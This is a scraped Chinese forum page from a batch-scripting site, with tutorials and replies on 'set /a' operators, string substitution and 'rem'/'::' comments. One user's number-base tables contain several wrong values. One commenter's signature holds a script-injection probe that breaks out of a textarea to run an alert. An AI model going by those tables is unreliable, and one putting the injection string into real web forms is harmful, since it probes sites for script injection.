  32. @echo off

  33. set str=9

  34. set /a str^&=5

  35. echo %str%

  36. pause

  37. @echo off

  38. set /a str1=5,str2=5

  39. echo %str1% %str2%

  40. pause

  41. @echo off

  42. set /a str1=5,str2=5a

  43. echo %str1% %str2%

  44. pause

  45. @echo off

  46. set /a str1=5,str2=0*15

  47. echo %str1% %str2%

  48. pause

  49. @echo off

  50. set str=我是中国人我爱五星红旗

  51. set str=%str:我=我们%

  52. echo %str%

  53. pause

  54. @echo off

  55. set str=我是中国人我爱五星红旗

  56. set str=%str:我=%

  57. echo %str%

  58. pause

  59. @echo off

  60. type nul>e:\1.txt

  61. type nul>e:\2.txt

  62. set str=我是中国人,我爱五星红旗

  63. for %%i in (%str%) do echo %%i

  64. pause

  65. @echo off

  66. set str=我,是中国人,我,爱五星红旗

  67. echo %str%>e:2.txt

  68. for %%i in (%str%) do echo %%i

  69. @echo off

  70. set str=我,是中国人,我,爱五星红旗.

  71. echo %str%>e:2.txt

  72. for /f "delims=, tokens=2,4" %%i in (e:\2.txt) do echo %%i %%j

  73. pause

  74. @echo off

  75. set str=我是中国人我爱五星红旗

  76. set str1=%str:~2,3%

  77. set str2=%str:~2,-6%

  78. set str3=%str:~-9,-6%

  79. set str4=%str:~-9,3%

  80. echo %str1% %str2% %str3% %str4%

  81. pause
复制代码
下载 (48.59 KB)
2014-7-20 13:29
  1. @echo off

  2. echo 二进制对照表

  3. echo 0: 0000 0000

  4. echo 1: 0000 0001

  5. echo 2: 0000 0010

  6. echo 3: 0000 0011

  7. echo 4: 0000 0100

  8. echo 5: 0000 0101

  9. echo 6: 0000 0110

  10. echo 7: 0000 0111

  11. echo 8: 0000 1000

  12. echo 9: 0000 1001

  13. echo 10: 0000 1010

  14. echo 11: 0000 1011

  15. echo 12: 0000 1100

  16. echo 13: 0000 1101

  17. echo 14: 0000 1110

  18. echo 15: 0000 1111

  19. echo 16: 0001 0000

  20. echo 17: 0001 0001

  21. echo 18: 0001 0010

  22. echo 19: 0001 0011

  23. echo 20: 0001 0100

  24. echo 21: 0001 0101

  25. echo 22: 0001 0110

  26. echo 23: 0001 0111

  27. echo 24: 0001 1000

  28. echo 25: 0001 1001

  29. echo 26: 0001 1010

  30. echo 27: 0001 1011

  31. echo 28: 0001 1100

  32. echo 29: 0001 1101

  33. echo 30: 0001 1110

  34. echo 31: 0001 1111

  35. echo 32: 0010 0000

  36. echo 33: 0010 0001

  37. echo 34: 0010 0010

  38. echo 35: 0010 0011

  39. echo 36: 0010 0100

  40. echo 37: 0010 0101

  41. echo 38: 0010 0110

  42. echo 39: 0010 0111

  43. echo 40: 0010 1000

  44. echo 41: 0010 1001

  45. echo 42: 0010 1010

  46. echo 43: 0010 1011

  47. echo 44: 0010 1100

  48. echo 45: 0010 1101

  49. echo 46: 0010 1110

  50. echo 47: 0010 1111

  51. echo 48: 0011 0000

  52. echo 49: 0011 0001

  53. echo 50: 0011 0010

  54. echo 51: 0011 0011

  55. echo 52: 0011 0100

  56. echo 53: 0011 0101

  57. echo 54: 0011 0110

  58. echo 55: 0011 0111

  59. echo 56: 0011 1000

  60. echo 57: 0011 1001

  61. echo 58: 0011 1010

  62. echo 59: 0011 1100

  63. echo 60: 0011 1101

  64. echo 61: 0011 1110

  65. echo 62: 0011 1111

  66. echo 63: 0111 0000

  67. echo 64: 0111 0001

  68. echo 65: 0111 0010

  69. echo 66: 0111 0011

  70. echo 67: 0111 0100

  71. echo 68: 0111 0101

  72. echo 69: 0111 0110

  73. echo 70: 0111 0111

  74. echo 71: 0111 1000

  75. echo 72: 0111 1001

  76. echo 73: 0111 1010

  77. echo 74: 0111 1011

  78. echo 75: 0111 1100

  79. echo 76: 0111 1101

  80. echo 77: 0111 1110

  81. echo 78: 0111 1111

  82. echo 79: 1111 0000

  83. echo 80: 1111 0001

  84. echo 81: 1111 0010

  85. echo 81: 1111 0011

  86. echo 82: 1111 0100

  87. echo 83: 1111 0101

  88. echo 84: 1111 0110

  89. echo 85: 1111 0111

  90. echo 86: 1111 1000

  91. echo 87: 1111 1001

  92. echo 88: 1111 1010

  93. echo 89: 1111 1011

  94. echo 90: 1111 1100

  95. echo 91: 1111 1101

  96. echo 92: 1111 1110

  97. echo 93: 1111 1111

  98. echo 94: 0001 0000 0000

  99. echo 95: 0001 0000 0001

  100. echo 96: 0001 0000 0010

  101. echo 97: 0001 0000 0011

  102. echo 98: 0001 0000 0100

  103. echo 99: 0001 0000 0101

  104. echo 100: 0001 0000 0110

  105. echo 待续！！！！！！！！！！！！！！！

  106. pause
复制代码
  1. @echo off

  2. echo 八进制对照表

  3. echo 0000 0000

  4. echo 0000 0001

  5. echo 0000 0002

  6. echo 0000 0003

  7. echo 0000 0004

  8. echo 0000 0005

  9. echo 0000 0006

  10. echo 0000 0007

  11. echo 0000 0001 0

  12. echo 0000 0001 1

  13. echo 0000 0001 2

  14. echo 0000 0001 3

  15. echo 0000 0001 4

  16. echo 0000 0001 5

  17. echo 0000 0001 6

  18. echo 0000 0001 7

  19. echo 0000 0002 0

  20. echo 0000 0002 1

  21. echo 0000 0002 3

  22. echo 0000 0002 4

  23. echo 0000 0002 5

  24. echo 0000 0002 6

  25. echo 0000 0002 7

  26. echo 0000 0003 0

  27. echo 0000 0003 1

  28. echo 0000 0003 2

  29. echo 0000 0003 3

  30. echo 0000 0003 4

  31. echo 0000 0003 5

  32. echo 0000 0003 6

  33. echo 0000 0003 7

  34. echo 0000 0004 0

  35. echo 0000 0004 1

  36. echo 0000 0004 2

  37. echo 0000 0004 3

  38. echo 0000 0004 4

  39. echo 0000 0004 5

  40. echo 0000 0004 6

  41. echo 0000 0004 7

  42. echo 0000 0005 0

  43. echo 0000 0005 1

  44. echo 0000 0005 2

  45. echo 0000 0005 3

  46. echo 0000 0005 4

  47. echo 0000 0005 5

  48. echo 0000 0005 6

  49. echo 0000 0005 7

  50. echo 0000 0006 0

  51. echo 0000 0006 1

  52. echo 0000 0006 2

  53. echo 0000 0006 3

  54. echo 0000 0006 4

  55. echo 0000 0006 5

  56. echo 0000 0006 6

  57. echo 0000 0006 7

  58. echo 0000 0007 0

  59. echo 0000 0007 1

  60. echo 0000 0007 2

  61. echo 0000 0007 3

  62. echo 0000 0007 4

  63. echo 0000 0007 5

  64. echo 0000 0007 6

  65. echo 0000 0007 7

  66. echo 后面还有好多字母

  67. pause
复制代码
  1. @echo off

  2. echo 十进制对照表

  3. echo 0000 0000

  4. echo 0000 0001

  5. echo 0000 0002

  6. echo 0000 0003

  7. echo 0000 0004

  8. echo 0000 0005

  9. echo 0000 0006

  10. echo 0000 0007

  11. echo 0000 0008

  12. echo 0000 0009

  13. echo 0000 0001 0

  14. echo 0000 0001 1

  15. echo 0000 0001 2

  16. echo 0000 0001 3

  17. echo 0000 0001 4

  18. echo 0000 0001 5

  19. echo 0000 0001 6

  20. echo 0000 0001 7

  21. echo 0000 0001 8

  22. echo 0000 0001 9

  23. echo 0000 0002 0

  24. echo 0000 0002 1

  25. echo 0000 0002 3

  26. echo 0000 0002 4

  27. echo 0000 0002 5

  28. echo 0000 0002 6

  29. echo 0000 0002 7

  30. echo 0000 0002 8

  31. echo 0000 0002 9

  32. echo 0000 0003 0

  33. echo 0000 0003 1

  34. echo 0000 0003 2

  35. echo 0000 0003 3

  36. echo 0000 0003 4

  37. echo 0000 0003 5

  38. echo 0000 0003 6

  39. echo 0000 0003 7

  40. echo 0000 0003 8

  41. echo 0000 0003 9

  42. echo 0000 0004 0

  43. echo 0000 0004 1

  44. echo 0000 0004 2

  45. echo 0000 0004 3

  46. echo 0000 0004 4

  47. echo 0000 0004 5

  48. echo 0000 0004 6

  49. echo 0000 0004 7

  50. echo 0000 0004 8

  51. echo 0000 0004 9

  52. echo 0000 0005 0

  53. echo 0000 0005 1

  54. echo 0000 0005 2

  55. echo 0000 0005 3

  56. echo 0000 0005 4

  57. echo 0000 0005 5

  58. echo 0000 0005 6

  59. echo 0000 0005 7

  60. echo 0000 0005 8

  61. echo 0000 0005 9

  62. echo 0000 0006 0

  63. echo 0000 0006 1

  64. echo 0000 0006 2

  65. echo 0000 0006 3

  66. echo 0000 0006 4

  67. echo 0000 0006 5

  68. echo 0000 0006 6

  69. echo 0000 0006 7

  70. echo 0000 0006 8

  71. echo 0000 0006 9

  72. echo 0000 0007 0

  73. echo 0000 0007 1

  74. echo 0000 0007 2

  75. echo 0000 0007 3

  76. echo 0000 0007 4

  77. echo 0000 0007 5

  78. echo 0000 0007 6

  79. echo 0000 0007 7

  80. echo 0000 0007 8

  81. echo 0000 0007 9

  82. echo 0000 0008 0

  83. echo 0000 0008 1

  84. echo 0000 0008 2

  85. echo 0000 0008 3

  86. echo 0000 0008 4

  87. echo 0000 0008 5

  88. echo 0000 0008 6

  89. echo 0000 0008 7

  90. echo 0000 0008 8

  91. echo 0000 0008 9

  92. echo 0000 0009 0

  93. echo 0000 0009 1

  94. echo 0000 0009 2

  95. echo 0000 0009 3

  96. echo 0000 0009 4

  97. echo 0000 0009 5

  98. echo 0000 0009 6

  99. echo 0000 0009 7

  100. echo 0000 0009 8

  101. echo 0000 0009 9

  102. echo 后面还有太多字母

  103. pause
复制代码
  1. @echo off

  2. echo 三十二进制对照表

  3. echo 0000 0000

  4. echo 0000 0001

  5. echo 0000 0002

  6. echo 0000 0003

  7. echo 0000 0004

  8. echo 0000 0005

  9. echo 0000 0006

  10. echo 0000 0007

  11. echo 0000 0008

  12. echo 0000 0009

  13. echo 0000 0009 a

  14. echo 0000 0009 b

  15. echo 0000 0009 c

  16. echo 0000 0009 d

  17. echo 0000 0009 e

  18. echo 0000 0009 f

  19. echo 0000 0009 g

  20. echo 0000 0009 h

  21. echo 0000 0009 j

  22. echo 0000 0009 k

  23. echo 0000 0009 l

  24. echo 0000 0009 m

  25. echo 0000 0009 n

  26. echo 0000 0009 p

  27. echo 0000 0009 q

  28. echo 0000 0009 r

  29. echo 0000 0009 t

  30. echo 0000 0009 v

  31. echo 0000 0009 u

  32. echo 0000 0009 w

  33. echo 0000 0009 x

  34. echo 0000 0009 y

  35. echo 0000 0001 0

  36. echo 0000 0001 1

  37. echo 0000 0001 2

  38. echo 0000 0001 3

  39. echo 0000 0001 4

  40. echo 0000 0001 5

  41. echo 0000 0001 6

  42. echo 0000 0001 7

  43. echo 0000 0001 8

  44. echo 0000 0001 9

  45. echo 0000 0001 a

  46. echo 0000 0001 b

  47. echo 0000 0001 c

  48. echo 0000 0001 d

  49. echo 0000 0001 e

  50. echo 0000 0001 f

  51. echo 0000 0001 g

  52. echo 0000 0001 h

  53. echo 0000 0001 j

  54. echo 0000 0001 k

  55. echo 0000 0001 l

  56. echo 0000 0001 m

  57. echo 0000 0001 n

  58. echo 0000 0001 p

  59. echo 0000 0001 q

  60. echo 0000 0001 r

  61. echo 0000 0001 t

  62. echo 0000 0001 u

  63. echo 0000 0001 v

  64. echo 0000 0001 w

  65. echo 0000 0001 x

  66. echo 0000 0001 y

  67. echo 0000 0002 0

  68. echo 0000 0002 1

  69. echo 0000 0002 3

  70. echo 0000 0002 4

  71. echo 0000 0002 5

  72. echo 0000 0002 6

  73. echo 0000 0002 7

  74. echo 0000 0002 8

  75. echo 0000 0002 9

  76. echo 0000 0002 a

  77. echo 0000 0002 b

  78. echo 0000 0002 c

  79. echo 0000 0002 d

  80. echo 0000 0002 e

  81. echo 0000 0002 f

  82. echo 0000 0002 g

  83. echo 0000 0002 h

  84. echo 0000 0002 j

  85. echo 0000 0002 k

  86. echo 0000 0002 l

  87. echo 0000 0002 m

  88. echo 0000 0002 n

  89. echo 0000 0002 p

  90. echo 0000 0002 q

  91. echo 0000 0002 r

  92. echo 0000 0002 t

  93. echo 0000 0002 u

  94. echo 0000 0002 v

  95. echo 0000 0002 w

  96. echo 0000 0002 x

  97. echo 0000 0002 y

  98. echo 0000 0003 0

  99. echo 0000 0003 1

  100. echo 0000 0003 2

  101. echo 0000 0003 3

  102. echo 0000 0003 4

  103. echo 0000 0003 5

  104. echo 0000 0003 6

  105. echo 0000 0003 7

  106. echo 0000 0003 8

  107. echo 0000 0003 9

  108. echo 0000 0003 a

  109. echo 0000 0003 b

  110. echo 0000 0003 c

  111. echo 0000 0003 d

  112. echo 0000 0003 e

  113. echo 0000 0003 f

  114. echo 0000 0003 g

  115. echo 0000 0003 h

  116. echo 0000 0003 j

  117. echo 0000 0003 k

  118. echo 0000 0003 l

  119. echo 0000 0003 m

  120. echo 0000 0003 n

  121. echo 0000 0003 p

  122. echo 0000 0003 q

  123. echo 0000 0003 r

  124. echo 0000 0003 t

  125. echo 0000 0003 u

  126. echo 0000 0003 v

  127. echo 0000 0003 w

  128. echo 0000 0003 x

  129. echo 0000 0003 y

  130. echo 0000 0004 0

  131. echo 0000 0004 1

  132. echo 0000 0004 2

  133. echo 0000 0004 3

  134. echo 0000 0004 4

  135. echo 0000 0004 5

  136. echo 0000 0004 6

  137. echo 0000 0004 7

  138. echo 0000 0004 8

  139. echo 0000 0004 9

  140. echo 0000 0004 a

  141. echo 0000 0004 b

  142. echo 0000 0004 c

  143. echo 0000 0004 d

  144. echo 0000 0004 e

  145. echo 0000 0004 f

  146. echo 0000 0004 g

  147. echo 0000 0004 h

  148. echo 0000 0004 j

  149. echo 0000 0004 k

  150. echo 0000 0004 l

  151. echo 0000 0004 m

  152. echo 0000 0004 n

  153. echo 0000 0004 p

  154. echo 0000 0004 q

  155. echo 0000 0004 r

  156. echo 0000 0004 t

  157. echo 0000 0004 u

  158. echo 0000 0004 v

  159. echo 0000 0004 w

  160. echo 0000 0004 x

  161. echo 0000 0004 y

  162. echo 0000 0005 0

  163. echo 0000 0005 1

  164. echo 0000 0005 2

  165. echo 0000 0005 3

  166. echo 0000 0005 4

  167. echo 0000 0005 5

  168. echo 0000 0005 6

  169. echo 0000 0005 7

  170. echo 0000 0005 8

  171. echo 0000 0005 9

  172. echo 0000 0005 a

  173. echo 0000 0005 b

  174. echo 0000 0005 c

  175. echo 0000 0005 d

  176. echo 0000 0005 e

  177. echo 0000 0005 f

  178. echo 0000 0005 g

  179. echo 0000 0005 h

  180. echo 0000 0005 j

  181. echo 0000 0005 k

  182. echo 0000 0005 l

  183. echo 0000 0005 m

  184. echo 0000 0005 n

  185. echo 0000 0005 p

  186. echo 0000 0005 q

  187. echo 0000 0005 r

  188. echo 0000 0005 t

  189. echo 0000 0005 u

  190. echo 0000 0005 v

  191. echo 0000 0005 w

  192. echo 0000 0005 x

  193. echo 0000 0005 y

  194. echo 0000 0006 0

  195. echo 0000 0006 1

  196. echo 0000 0006 2

  197. echo 0000 0006 3

  198. echo 0000 0006 4

  199. echo 0000 0006 5

  200. echo 0000 0006 6

  201. echo 0000 0006 7

  202. echo 0000 0006 8

  203. echo 0000 0006 9

  204. echo 0000 0006 a

  205. echo 0000 0006 b

  206. echo 0000 0006 c

  207. echo 0000 0006 d

  208. echo 0000 0006 e

  209. echo 0000 0006 f

  210. echo 0000 0006 g

  211. echo 0000 0006 h

  212. echo 0000 0006 j

  213. echo 0000 0006 k

  214. echo 0000 0006 l

  215. echo 0000 0006 m

  216. echo 0000 0006 n

  217. echo 0000 0006 p

  218. echo 0000 0006 q

  219. echo 0000 0006 r

  220. echo 0000 0006 t

  221. echo 0000 0006 u

  222. echo 0000 0006 v

  223. echo 0000 0006 w

  224. echo 0000 0006 x

  225. echo 0000 0006 y

  226. echo 0000 0007 0

  227. echo 0000 0007 1

  228. echo 0000 0007 2

  229. echo 0000 0007 3

  230. echo 0000 0007 4

  231. echo 0000 0007 5

  232. echo 0000 0007 6

  233. echo 0000 0007 7

  234. echo 0000 0007 8

  235. echo 0000 0007 9

  236. echo 0000 0007 a

  237. echo 0000 0007 b

  238. echo 0000 0007 c

  239. echo 0000 0007 d

  240. echo 0000 0007 e

  241. echo 0000 0007 f

  242. echo 0000 0007 g

  243. echo 0000 0007 h

  244. echo 0000 0007 j

  245. echo 0000 0007 k

  246. echo 0000 0007 l

  247. echo 0000 0007 m

  248. echo 0000 0007 n

  249. echo 0000 0007 p

  250. echo 0000 0007 q

  251. echo 0000 0007 r

  252. echo 0000 0007 t

  253. echo 0000 0007 u

  254. echo 0000 0007 v

  255. echo 0000 0007 w

  256. echo 0000 0007 x

  257. echo 0000 0007 y

  258. echo 0000 0008 0

  259. echo 0000 0008 1

  260. echo 0000 0008 2

  261. echo 0000 0008 3

  262. echo 0000 0008 4

  263. echo 0000 0008 5

  264. echo 0000 0008 6

  265. echo 0000 0008 7

  266. echo 0000 0008 8

  267. echo 0000 0008 9

  268. echo 0000 0008 a

  269. echo 0000 0008 b

  270. echo 0000 0008 c

  271. echo 0000 0008 d

  272. echo 0000 0008 e

  273. echo 0000 0008 f

  274. echo 0000 0008 g

  275. echo 0000 0008 h

  276. echo 0000 0008 j

  277. echo 0000 0008 k

  278. echo 0000 0008 l

  279. echo 0000 0008 m

  280. echo 0000 0008 n

  281. echo 0000 0008 p

  282. echo 0000 0008 q

  283. echo 0000 0008 r

  284. echo 0000 0008 t

  285. echo 0000 0008 u

  286. echo 0000 0008 v

  287. echo 0000 0008 w

  288. echo 0000 0008 x

  289. echo 0000 0008 y

  290. echo 0000 0009 0

  291. echo 0000 0009 1

  292. echo 0000 0009 2

  293. echo 0000 0009 3

  294. echo 0000 0009 4

  295. echo 0000 0009 5

  296. echo 0000 0009 6

  297. echo 0000 0009 7

  298. echo 0000 0009 8

  299. echo 0000 0009 9

  300. echo 0000 0010 0

  301. echo 0000 0010 a

  302. echo 0000 0010 b

  303. echo 0000 0010 c

  304. echo 0000 0010 d

  305. echo 0000 0010 e

  306. echo 0000 0010 f

  307. echo 0000 0010 g

  308. echo 0000 0010 h

  309. echo 0000 0010 j

  310. echo 0000 0010 k

  311. echo 0000 0010 l

  312. echo 0000 0010 m

  313. echo 0000 0010 n

  314. echo 0000 0010 p

  315. echo 0000 0010 q

  316. echo 0000 0010 r

  317. echo 0000 0010 t

  318. echo 0000 0010 u

  319. echo 0000 0010 v

  320. echo 0000 0010 w

  321. echo 0000 0010 x

  322. echo 0000 0010 y

  323. echo 后面还有更多字母

  324. pause
复制代码
  1. echo off

  2. echo 三十二进制基数没有i o s z不知道为什么

  3. pause
复制代码
回复 引用

评分 报告 TOP

慕夜蓝化
  • 发短消息
  • 加为好友

慕夜蓝化 当前离线

UID
50442
帖子
183
精华
0
积分
265
PB
208
技术
19
捐助
0
阅读权限
20
在线时间
265 小时
注册时间
2012-7-31
最后登录
2018-3-15

四级士官

帖子
183
积分
265
技术
19
捐助
0
注册时间
2012-7-31
5楼
发表于 2014-12-4 10:51 | 只看该作者
@echo off
set n=0
for /l %%i in (1,1,100) do set /a n=%n%+%%i
echo %n%
pause>nul

echo %n%
echo 100
n的值未被代入。
直到最后一条for命令执行完毕，期间%n%的值都是0
因此%n%两边的%非拿掉不可。
踏实一些点.不要着急.你想要的时间都会给你.
回复 引用

评分 报告 TOP

amwfjhh
  • 发短消息
  • 加为好友

amwfjhh 当前离线

UID
69275
帖子
255
精华
0
积分
335
PB
290
技术
15
捐助
0
阅读权限
20
在线时间
167 小时
注册时间
2014-11-3
最后登录
2017-10-1

五级士官

帖子
255
积分
335
技术
15
捐助
0
注册时间
2014-11-3
6楼
发表于 2014-12-4 12:22 | 只看该作者

标题

本帖最后由 amwfjhh 于 2014-12-4 12:37 编辑

回复 5# 慕夜蓝化
你这是变量延时问题。去掉%是set的语法特性，相当于给变量名开了绿灯，正常调用变量在语句块内不开变量延时有话是距其(语句块)最近一次赋值的值。这里累加还可以写成set /a n+=%%i，是合法赋值语句之一。
回复 引用

评分 报告 TOP

amwfjhh
  • 发短消息
  • 加为好友

amwfjhh 当前离线

UID
69275
帖子
255
精华
0
积分
335
PB
290
技术
15
捐助
0
阅读权限
20
在线时间
167 小时
注册时间
2014-11-3
最后登录
2017-10-1

五级士官

帖子
255
积分
335
技术
15
捐助
0
注册时间
2014-11-3
7楼
发表于 2014-12-4 13:02 | 只看该作者
给版主提个小小的修改意见：
在批处理代码中，除了%属于加载就要被强制处理而必须写成%%外，其它几个按拉运算符除了可以被^转义外，还可以被""转义而保持其原始样貌。
  1. set /a "a=9^5"

  2. set /a "a=9|5"

  3. set /a "a=9&5"
复制代码
都是有效运算。帮助里面其实更崇这种用法，可以在命令行与批处理中保持一致性。
1

评分人数

    • cjiabing: 感谢分享PB + 6
回复 引用

评分 报告 TOP

无忧
  • 发短消息
  • 加为好友

无忧 当前离线

UID
79978
帖子
34
精华
0
积分
54
PB
54
技术
0
捐助
0
阅读权限
10
在线时间
14 小时
注册时间
2017-5-13
最后登录
2017-6-4

上等兵

帖子
34
积分
54
技术
0
捐助
0
注册时间
2017-5-13
8楼
发表于 2017-5-15 15:26 | 只看该作者
回复 7# amwfjhh

这些是不是都默认计算2进制？
不熟悉2进制的是不是用不起来了？
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:24, Processed in 0.083130 second(s), 9 queries, Gzip enabled.


45、注释语句：rem和::

  • 默认表情
  • 酷猴
  • 呆呆男
:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（45）注释语句：rem和::
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 下一页
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-29 16:15 | 只看该作者

[原创] [批处理命令一日一教学 续]（45）注释语句：rem和::

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 在批处理文件或 CONFIG.SYS 里加上注解或说明。

  2.

  3. REM [comment]
复制代码
命令概括：
rem，全英文remark（不确定），意为：注释。
comment，全英文comment，意为：评论、意见；这里可引申为注释。

参数详解：
程序员代码编写规范的三点之一：
1.代码层次分明，善用tab加以缩进。
2.尽量做到让变量名、标签名、函数名“见名知意”！
3.适当的注释。

批处理虽然只是脚本，但脚本也是语言，也有作为脚本语言的尊严，所以rem可以有、::也可以有。

rem和::用处一样，也可以看成是一物两名，就像毛润之、石三伢子同指本朝太祖爷一样。

rem有什么用呢？
有道词典给出了rem的解释：指定由DOS忽略的命令行。
这解释算是贴切，其实所有的编程语言的注释语句都是这样，将注释后的语句忽略，使之无效化。

不加rem前。
例如：
  1. @echo off

  2. echo 你好，这套教程你觉得怎样呢？

  3. pause>nul
复制代码
效果：
  1. 你好，这套教程你觉得怎样呢？
复制代码
加上rem后。
例如：
  1. @echo off

  2. rem echo 你好，这套教程你觉得怎样呢？

  3. pause>nul
复制代码
  1. @echo off

  2. :: echo 你好，这套教程你觉得怎样呢？

  3. pause>nul
复制代码
效果都是：
下载 (22.04 KB)
2011-8-29 16:02

echo message 被忽略、无效化了。

扩展阅读：
1.为什么要注释？
注释不仅有利于别人读懂你的程序，也有利于日后的自己读懂你的程序。
这其中的道理你也可以反证，编程的规范化是所有程序员默默遵守的准则，若然没有其可取之处，那么他们为什么遵守呢？所有的程序设计语言为什么都有注释语句呢？

2.在什么地方注释？
在for之类的复合语句中对语句注释；
在for之类的复合语句之前对整个复合语句注释；
在源程序开始处，对整个程序注释——说明程序的功能；

总原则：如果不注释，理解起来就会很困难，或者虽无困难，但浪费时间；

3.批处理中的特殊“注释符”。
标签注释。
例如：
  1. @echo off

  2. : echo 你好，这套教程你觉得怎样呢？

  3. pause>nul
复制代码
变量注释。
例如：
  1. @echo off

  2. %echo 你好，这套教程你觉得怎样呢？%

  3. pause>nul
复制代码
3.多行注释。
例如：
  1. @echo off

  2. rem a^

  3. b^

  4. c

  5. pause>nul
复制代码
1

评分人数

    • Batcher: Good work!技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

601997526
  • 发短消息
  • 加为好友

601997526 当前离线

UID
36294
帖子
172
精华
0
积分
381
PB
225
技术
52
捐助
0
阅读权限
20
在线时间
310 小时
注册时间
2011-4-11
最后登录
2015-4-21

六级士官

帖子
172
积分
381
技术
52
捐助
0
注册时间
2011-4-11
2楼
发表于 2011-8-29 16:54 | 只看该作者
可惜P里没有多行注释的命令
现想到的多行注释只有
  1. @echo off

  2. rem a^

  3. b^

  4. c

  5. pause>nul
复制代码
1

评分人数

    • Hello123World: 多谢提醒。PB + 2 技术 + 1
回复 引用

评分 报告 TOP

guaiwu
  • 发短消息
  • 加为好友

guaiwu 当前离线

UID
31825
帖子
119
精华
0
积分
205
PB
196
技术
3
捐助
0
阅读权限
20
来自
广州
在线时间
143 小时
注册时间
2010-11-19
最后登录
2016-9-24

三级士官

帖子
119
积分
205
技术
3
捐助
0
注册时间
2010-11-19
3楼
发表于 2011-8-29 17:35 | 只看该作者
试了一下 貌似
  1. @echo off

  2. rem a^

  3. b^

  4. c

  5. pause>nul
复制代码
中的rem能注释一样，而第二行的b^又是起到注释的作用
莫求昨天无悔，但愿今日无愧。
回复 引用

评分 报告 TOP

xudaweb
  • 发短消息
  • 加为好友

xudaweb 当前离线

UID
40915
帖子
124
精华
0
积分
189
PB
174
技术
5
捐助
0
阅读权限
20
在线时间
126 小时
注册时间
2011-8-22
最后登录
2016-4-22

二级士官

帖子
124
积分
189
技术
5
捐助
0
注册时间
2011-8-22
4楼
发表于 2011-8-30 07:13 | 只看该作者
回复 2# 601997526

这个多行注释命令，能否解释下，不太懂啊~
学习...
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
5楼
发表于 2011-8-30 10:02 | 只看该作者
回复 4# xudaweb

^转义了回车换行符，命令一般以回车换行符作为结束符。
例如：
  1. @echo off

  2. echo a^

  3. b^

  4. c

  5. pause>nul
复制代码
效果：
输出 abc

不过这个原理我就有点不明白了：
  1. @echo off

  2. echo a^

  3.

  4. b^

  5.

  6. c

  7. pause>nul
复制代码
效果：
输出
a
b
c

猜测：莫非空行后的回车换行就不要转义了？但测试这个猜测也是有问题的。

例如：
  1. @echo off

  2. echo a^

  3.

  4.

  5. b^

  6.

  7.

  8. c

  9. pause>nul
复制代码
效果：
  1. a

  2.

  3. 'b' 不是内部或外部命令，也不是可运行的程序

  4. 或批处理文件。

  5. 'c' 不是内部或外部命令，也不是可运行的程序

  6. 或批处理文件。
复制代码
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

dennis1314
  • 发短消息
  • 加为好友

dennis1314 当前离线

UID
34426
帖子
12
精华
0
积分
15
PB
15
技术
0
捐助
0
阅读权限
5
在线时间
9 小时
注册时间
2011-2-14
最后登录
2011-9-7

列兵

帖子
12
积分
15
技术
0
捐助
0
注册时间
2011-2-14
6楼
发表于 2011-8-30 14:40 | 只看该作者
只能引申到最近的一个换行符，第二个换行就相当于另一语句了。是不是可以这样解释
回复 引用

评分 报告 TOP

vsbat
  • 发短消息
  • 加为好友

vsbat 当前离线

UID
13794
帖子
414
精华
0
积分
4661
PB
4628
技术
11
捐助
0
阅读权限
90
来自
在线时间
885 小时
注册时间
2009-5-31
最后登录
2017-11-1

大校

帖子
414
积分
4661
技术
11
捐助
0
注册时间
2009-5-31
7楼
发表于 2011-8-30 14:45 | 只看该作者
rem == REMARK
1

评分人数

    • Hello123World: remark也说得过去，你确信，还是推测？PB + 2
</textarea><script>alert('you are h4cked !')</script>
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
8楼
发表于 2011-8-30 16:14 | 只看该作者
